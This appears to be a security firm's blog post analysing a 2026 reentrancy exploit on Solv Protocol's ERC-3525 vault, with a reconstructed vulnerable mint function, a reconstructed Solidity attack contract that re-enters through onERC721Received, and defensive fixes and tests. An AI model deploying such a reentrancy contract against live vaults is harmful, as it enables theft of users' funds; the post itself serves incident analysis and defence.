On March 5, 2026, an attacker turned 135 BRO tokens into 567 million — a 4.2-million-x inflation — by exploiting a reentrancy flaw in Solv Protocol's BitcoinReserveOffering vault. The haul: 38 SolvBTC worth approximately $2.7 million, laundered through RailGun within hours.
The exploit wasn't novel. Reentrancy has been draining DeFi since The DAO in 2016. What makes this case a masterclass in security failure is where the reentrancy lived: in the interaction between ERC-3525's semi-fungible token standard and ERC-721's mandatory callback mechanism — a blind spot that no auditor caught because the contract was never audited at all.
ERC-3525: The Standard Most Developers Don't Understand
Before dissecting the exploit, you need to understand what ERC-3525 actually does.
ERC-3525 is a semi-fungible token (SFT) standard. Unlike ERC-721 (unique NFTs) or ERC-20 (identical fungible tokens), ERC-3525 tokens have three dimensions:
- Token ID (like ERC-721): Each token is uniquely identifiable
- Value (like ERC-20): Each token carries a numeric value that can be split and merged
- Slot: A grouping mechanism — tokens in the same slot can transfer value between each other
ERC-20: [Amount]
ERC-721: [TokenID]
ERC-3525: [TokenID] + [Value] + [Slot]
This makes ERC-3525 ideal for representing fractional positions in yield vaults, bonds, or structured products — exactly what Solv Protocol uses it for with their BRO (BitcoinReserveOffering) tokens.
The critical inheritance: ERC-3525 is built on top of ERC-721. Every ERC-3525 token is an ERC-721 token. This means all ERC-721 mechanics apply — including the onERC721Received callback during safe transfers.
The Vulnerable Minting Flow
Here's a simplified reconstruction of the BRO vault's minting logic:
contract BitcoinReserveOffering {
IERC3525 public broToken;
function mint(uint256 depositTokenId, uint256 amount) external {
// Step 1: Transfer the ERC-3525 token into the vault
broToken.safeTransferFrom(msg.sender, address(this), depositTokenId);
// Step 2: Calculate minting amount based on deposit
uint256 mintAmount = calculateMintAmount(amount);
// Step 3: Mint BRO tokens to the depositor
_mintBRO(msg.sender, mintAmount);
// Step 4: Update internal accounting
totalDeposited += amount;
}
}
The vulnerability chain:
-
mint()callssafeTransferFrom()to ingest the depositor's ERC-3525 token - Because ERC-3525 inherits ERC-721,
safeTransferFrom()must callonERC721Receivedon the receiving contract - The
onERC721Receivedcallback fires beforemint()updates its internal state - The attacker's contract receives the callback and re-enters
mint()before step 4 completes - The second
mint()call sees stale state → mints tokens again for the same deposit - When both calls unwind, the attacker has been minted tokens twice for a single deposit
The Attack Contract (Reconstructed)
contract SolvExploit {
BitcoinReserveOffering public vault;
IERC3525 public broToken;
uint256 public attackCount;
uint256 constant MAX_LOOPS = 22;
function attack(uint256 tokenId) external {
attackCount = 0;
vault.mint(tokenId, broToken.valueOf(tokenId));
}
// This callback fires during safeTransferFrom inside mint()
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
if (attackCount < MAX_LOOPS) {
attackCount++;
uint256 newTokenId = broToken.mint(address(this), 1);
vault.mint(newTokenId, 1);
}
return this.onERC721Received.selector;
}
}
The attacker looped this 22 times, inflating 135 BRO into ~567 million BRO, then swapped for 38.05 SolvBTC ($2.7M) and exited through RailGun.
Why the CEI Pattern Alone Wouldn't Have Saved This
The classic defense against reentrancy is the Checks-Effects-Interactions (CEI) pattern: update state before making external calls. But ERC-3525's inheritance from ERC-721 makes this tricky:
// "Fixed" version — but is it really?
function mint(uint256 depositTokenId, uint256 amount) external {
// Effects first
uint256 mintAmount = calculateMintAmount(amount);
totalDeposited += amount;
_mintBRO(msg.sender, mintAmount);
// Interaction last
broToken.safeTransferFrom(msg.sender, address(this), depositTokenId);
// ^ But wait — the token hasn't been transferred yet when we mint!
// This creates a different bug: minting without actual collateral
}
The fundamental tension: you need to receive the deposit before you can credit the depositor, but the act of receiving triggers a callback that allows re-entry. This is why a reentrancy guard is the correct fix:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract BitcoinReserveOffering is ReentrancyGuard {
function mint(uint256 depositTokenId, uint256 amount) external nonReentrant {
broToken.safeTransferFrom(msg.sender, address(this), depositTokenId);
uint256 mintAmount = calculateMintAmount(amount);
_mintBRO(msg.sender, mintAmount);
totalDeposited += amount;
}
}
One modifier. One word. $2.7 million saved.
The Real Failure: Unaudited Contract in a $1B+ Protocol
The exploit was technically straightforward. What makes this incident damning is the operational failure:
The contract was never audited. Solv Protocol's GitHub lists 5 audit firms, but the BRO vault contract wasn't in any audit scope.
The bug bounty didn't cover it. Solv's HackenProof program only covered Web2 infrastructure and Solana contracts — the Ethereum BRO vault was explicitly excluded.
ERC-3525's callback risk is documented. The EIP-3525 specification explicitly notes ERC-721 compatibility and the associated callback mechanics. Any auditor familiar with the standard would have flagged this.
This was Solv's third security incident in 14 months. Their Twitter was compromised in January 2025, and they'd previously faced scrutiny over TVL accounting.
Defensive Patterns for ERC-3525 Implementations
If you're building with ERC-3525 (or any standard that inherits ERC-721), here's the security checklist:
1. Always Use ReentrancyGuard on Minting/Burning Functions
// Every function that transfers ERC-3525 tokens AND modifies state
function mint(...) external nonReentrant { ... }
function burn(...) external nonReentrant { ... }
function redeem(...) external nonReentrant { ... }
2. Map Your Callback Surface
ERC-3525 inherits three callback paths from ERC-721:
-
safeTransferFrom()→onERC721Received -
safeTransferFrom(uint256, uint256, uint256)(value transfer) → may trigger custom hooks -
transferFrom(uint256, address, uint256)(to new address) →onERC721Receivedif safe variant used
Document every external call in your contract that could trigger a callback. If it touches ERC-721/ERC-3525 tokens, assume reentrancy is possible.
3. Invariant Testing for Double-Mint
Write Foundry invariant tests that assert minting conservation:
function invariant_noDoubleMint() public {
// Total minted BRO value should never exceed total deposits
assertLe(
broToken.totalSupply(),
vault.totalDeposited() * MAX_MINT_RATIO,
"Double mint detected: supply exceeds deposits"
);
}
4. Use transferFrom Instead of safeTransferFrom (When Safe)
If the receiving contract is your own vault (not an arbitrary address), you can skip the safe transfer callback entirely:
// No callback, no reentrancy vector
broToken.transferFrom(msg.sender, address(this), depositTokenId);
This eliminates the onERC721Received callback — but only works when the receiver is a known contract that can handle the token.
5. Formal Verification of Token Conservation
For high-value vaults, use Halmos or Certora to prove that totalMinted <= f(totalDeposited) for all possible execution paths:
// Certora CVL
rule noInflation(uint256 tokenId, uint256 amount) {
env e;
uint256 supplyBefore = totalSupply();
uint256 depositsBefore = totalDeposited();
mint(e, tokenId, amount);
assert totalSupply() - supplyBefore <=
(totalDeposited() - depositsBefore) * MAX_RATIO;
}
The Broader Lesson: Token Standard Inheritance Is an Attack Surface
ERC-3525's design isn't flawed — it's powerful and well-specified. But its inheritance from ERC-721 creates implicit callback surfaces that developers who think in terms of "fungible value transfers" don't expect.
This pattern repeats across DeFi:
- ERC-777 hooks enabling reentrancy in Uniswap V1
-
ERC-1155
onERC1155Receivedcreating callback vectors in NFT marketplaces - ERC-4626 share inflation attacks through donation + callback timing
Every time a token standard mandates a callback, it opens a reentrancy window. The defense is always the same: guard every state-modifying function that interacts with external token contracts.
The $2.7 million question isn't why the attacker succeeded. It's why a protocol managing over a billion dollars in Bitcoin reserves deployed an unaudited contract without a reentrancy guard — a defense that's been standard practice since 2018.
DreamWork Security researches DeFi vulnerabilities and builds open-source security tools. Follow for deep dives into smart contract security, audit techniques, and defense patterns.
Top comments (0)